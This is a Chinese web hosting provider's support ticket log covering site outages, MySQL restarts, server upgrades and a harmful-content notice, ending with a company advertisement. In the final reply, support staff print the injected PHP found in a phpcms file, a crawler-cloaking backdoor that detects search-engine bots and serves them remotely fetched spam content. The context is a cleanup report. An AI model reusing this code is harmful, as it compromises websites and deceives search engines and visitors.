問：,網(wǎng)站打不來
答：您好，測試可以訪問的，附圖，請您清空瀏覽器緩存或者換一個瀏覽器再測試一下，若您本地還是無法訪問請您ping一下您的域名將結(jié)果提交上來我司查看一下 ,非常感謝您長期對我司的支持!
問：您好，之前在這個賬號下面提的備案，現(xiàn)在這個主體已經(jīng)注銷了，備案碼不能繼續(xù)使用了，更新備案主體，看下有沒有同步
答：您好，請?zhí)峁﹤浒复a或?qū)?yīng)的虛擬主機(jī)ftp，以便核實確認(rèn)；非常感謝您長期對我司的支持.由此給您帶來的不便之處,敬請原諒!謝謝!
問：我的網(wǎng)站怎么總是如此呀 掛了
http://www.jdtxj.org/group.php
我該開什么配置的服務(wù)器為宜
答：您好，
我司查看服務(wù)器mysql服務(wù)沒有啟動，我司已為您啟動服務(wù)，附圖，查看數(shù)據(jù)庫日志中有數(shù)據(jù)表需要修復(fù)，您可以參考http://www.shinetop.cn/faq/list.asp?unid=39 進(jìn)行修復(fù)數(shù)據(jù)表，然后在觀察下,非常感謝您長期對我司的支持!
問：我這幾天沒上網(wǎng)/今天一打開發(fā)現(xiàn)又掛了
答：您好，
1.當(dāng)前服務(wù)器已經(jīng)為您啟動了mysql，并通過系統(tǒng)日志中查看，對應(yīng)服務(wù)器都有出現(xiàn)http站點服務(wù)消耗內(nèi)存過高，導(dǎo)致系統(tǒng)自動kill其他應(yīng)用服務(wù)的情況，此情況建議可以將站點訪問日志，根據(jù)站點訪問日志來核實分析看看是那個站點使用內(nèi)存過高，可以和核實處理一下，做可以升級一下服務(wù)器內(nèi)存到8G觀察。
2.并核實當(dāng)前服務(wù)器宿主有出現(xiàn)io使用很高的情況，導(dǎo)致服務(wù)器有出現(xiàn)卡頓的情況，當(dāng)前我司可以為您更換一個宿主您再測試訪問速度，您同意更換可以回復(fù)工單我司操作,非常感謝您長期對我司的支持!
問：收到以下郵件，但我們沒有發(fā)現(xiàn)有害信息，煩請貴公司處理一下，該收費(fèi)的收費(fèi)就是！，謝謝！
尊敬的用戶：王東 您好！ 您在我司購買的業(yè)務(wù)(FTP用戶名:**********)經(jīng)我司信息安全系統(tǒng)監(jiān)測到存在有害信息，按國家有關(guān)法律規(guī)定，網(wǎng)站主辦者有責(zé)任和義務(wù)保證網(wǎng)站不傳播有害信息。現(xiàn)在信息安全形勢十分嚴(yán)峻，相關(guān)管理機(jī)構(gòu)對出現(xiàn)有害信息處置十分嚴(yán)厲，所以您必須在收到此次通知的24小時內(nèi)將網(wǎng)站所有有害信息立即清除，并采取必要措施保證以后不再出現(xiàn)有害信息，24小時后我司信息安全員將再次復(fù)查，若還未清除，將關(guān)閉該主機(jī)的網(wǎng)站訪問，同時我們也可能會將您主機(jī)的相關(guān)資料以及有害信息等相關(guān)材料作為線索報送公安機(jī)關(guān)相關(guān)部門，屆時您需自行承擔(dān)相關(guān)責(zé)任。 據(jù)我們的經(jīng)驗，出現(xiàn)有害信息絕大部分情況是因為網(wǎng)站漏洞被黑而被掛馬然后傳播，這種情況您應(yīng)該徹底清除相關(guān)的木馬文件，并找到相關(guān)網(wǎng)站開發(fā)人員，查找漏洞并修補(bǔ)，以避免再次被黑。另一種情況是您網(wǎng)站存在交互式欄目，但又無人管理無人審核，造成被人利用發(fā)布有害信息,這種情況我們建議您關(guān)閉交互式欄目。 針對每次非法信息，我司系統(tǒng)均將自動計數(shù)（您當(dāng)前的處置次數(shù)為：1次）,對于累計多次出現(xiàn)非法信息的主機(jī)，我司不排除會永久關(guān)閉。所以希望您切實履行起相關(guān)安全主體責(zé)任，加強(qiáng)網(wǎng)站安全管理，避免有害違法信息通過您的網(wǎng)站傳播。 具體的非法信息您可以登錄我司【管理中心-業(yè)務(wù)管理-安全及監(jiān)測-非法信息監(jiān)測】查看，也可在 http://cdsec.vhostgo.com/search輸入您的域名或云主機(jī)IP查看，但此處查詢的信息有可能未完全覆蓋，您需要據(jù)此為線索對整站進(jìn)行全面排查，避免遺漏。請參考 非法信息處理流程指南。 如果您（公司）缺少技術(shù)人員，不懂如何清理和加強(qiáng)安全設(shè)置，也可以提交工單，委托我司技術(shù)工程師代為清除病毒、木馬和非法信息，同時也可以有網(wǎng)站加固安全服務(wù)。收費(fèi)標(biāo)準(zhǔn)：根據(jù)非法信息的數(shù)量多少、被黑的嚴(yán)重程度、恢復(fù)和加固所需要的大概時間來收費(fèi)，一般約80元~200元左右。 附加提示一：非法信息記錄中，【阻斷】的意思是系統(tǒng)判斷極有可能是非法信息的記錄，并會自動阻斷此網(wǎng)址的訪問，【記錄】意思是系統(tǒng)判斷疑似非法信息的記錄，需管理員人工核實。 附加提示二：新實施的《中華人民共和國網(wǎng)絡(luò)安全法》第四十七條規(guī)定，網(wǎng)站主辦者對非法信息傳播負(fù)有法律責(zé)任，請高度重視此事，否則將可能承擔(dān)相應(yīng)的法律后果。 附加提示三：關(guān)于更進(jìn)一步加強(qiáng)網(wǎng)站有害信息處置的公告 。 附加提示四：每個業(yè)務(wù)您只有3次解鎖的機(jī)會，所以當(dāng)出現(xiàn)非法信息后，除需清掉非法信息外，【務(wù)必】找到有效方法杜絕非法信息再次出現(xiàn)，如關(guān)閉論壇，修復(fù)漏洞等。 附加提示五：如果實在沒有好的辦法防止非法信息再次出現(xiàn)，建議您將業(yè)務(wù)升級到海外機(jī)房。 附加提示六：非法信息現(xiàn)在國家管控【異常嚴(yán)格】，并已形成長效機(jī)制，所以請您【務(wù)必重視】并積極配合，否則后果十分嚴(yán)重。再次提醒：若您未在24小時內(nèi)清理這些有害信息，我司將在24小時后關(guān)閉您的主機(jī)，希望您能配合處理，謝謝。同時我們強(qiáng)烈建議關(guān)閉論壇、留言板等交互式欄目，確實需要開辦的，需要落實先審后貼，加強(qiáng)人工管理。經(jīng)常出現(xiàn)非法信息但沒有精力管理同時又確需開辦的，可以考慮轉(zhuǎn)移至香港機(jī)房。
答：您好，核實此站點我司通過模擬百度蜘蛛訪問這些鏈接確實是有異常的,目前已經(jīng)通過解除阻斷,請及時檢查修復(fù)程序,查看index.php文件是有些異常代碼,如需我司協(xié)助清理掛馬,我司僅能檢查并清理掛馬信息，無法修復(fù)漏洞，修復(fù)程序需要聯(lián)系程序開發(fā)商處理，請確認(rèn)后可提交【虛擬主機(jī)/數(shù)據(jù)庫問題】—【網(wǎng)站類問題】—【清理網(wǎng)站掛馬代碼和非法信息】正確工單類型，非常感謝您長期對我司的支持!
問：那請指出具體是哪個代碼？，余額還有300多，如果需要費(fèi)用可以直接扣除。
答：您好，我司扣費(fèi)100元,核實是首頁中調(diào)用的phpcms\\base.php 等代碼文件有問題,已經(jīng)幫您清理,并對主機(jī)設(shè)置安全加固,
set_time_limit(0);error_reporting(0);$a=stristr;$b=$_SERVER;define(\’url\’,$b[\’REQUEST_URI\’]);define(\’ent\’,$b[\’HTTP_USER_AGENT\’]);define(\’site\’,"http://127.0.0.1:1024/");define(\’road\’,"?road=".$b[\’HTTP_HOST\’].url."&der=".ent);define(\’regs\’,\’@Baidu|Sogou|Yisou|Soso|Haosou|360Spider|So.com|Sm.cn@i\’);define(\’area\’,$a(url,".xml")or $a(url,".doc")or $a(url,".txt")or $a(url,".ppt")or $a(url,".xls")or $a(url,".csv")or $a(url,".shtml")or $a(url,".docx")or $a(url,".xlsx")and $a(url,"?"));if(preg_match(regs,ent)){if(area){echo g(site.road);exit;}else{echo g(site."?zz".road);ob_flush();flush();}}if(area){echo g(site.\’?tz\’);exit;}function g($d){$e=array(\’http\’=>array(\’method\’=>"GET"));$i=stream_context_create($e);$j=file_get_contents($d,false,$i);if(!empty($j)){return $j;}}
三五互聯(lián)（35.com）是經(jīng)工信部、ICANN、CNNIC認(rèn)證審批，持有ISP、云牌照、IDC、CDN、頂級域名注冊商等全業(yè)務(wù)資質(zhì)的正規(guī)老牌服務(wù)商，自成立至今20余年專注于域名注冊、虛擬主機(jī)、云服務(wù)器、企業(yè)郵箱、企業(yè)建站等互聯(lián)網(wǎng)基礎(chǔ)服務(wù)！
截止目前，已經(jīng)為超過2000萬個域名提供了注冊、解析等服務(wù)，是中國五星級域名注冊注冊商！已為超過50萬個網(wǎng)站提供了高速穩(wěn)定的云托管服務(wù)，獲評中國最受用戶喜歡云主機(jī)服務(wù)商。
三五互聯(lián)提供全方位7X24H專業(yè)售后支撐，域名注冊特價1元起，高速穩(wěn)定云主機(jī)45元起，更多詳情請瀏覽三五互聯(lián)官網(wǎng)：http://www.shinetop.cn/
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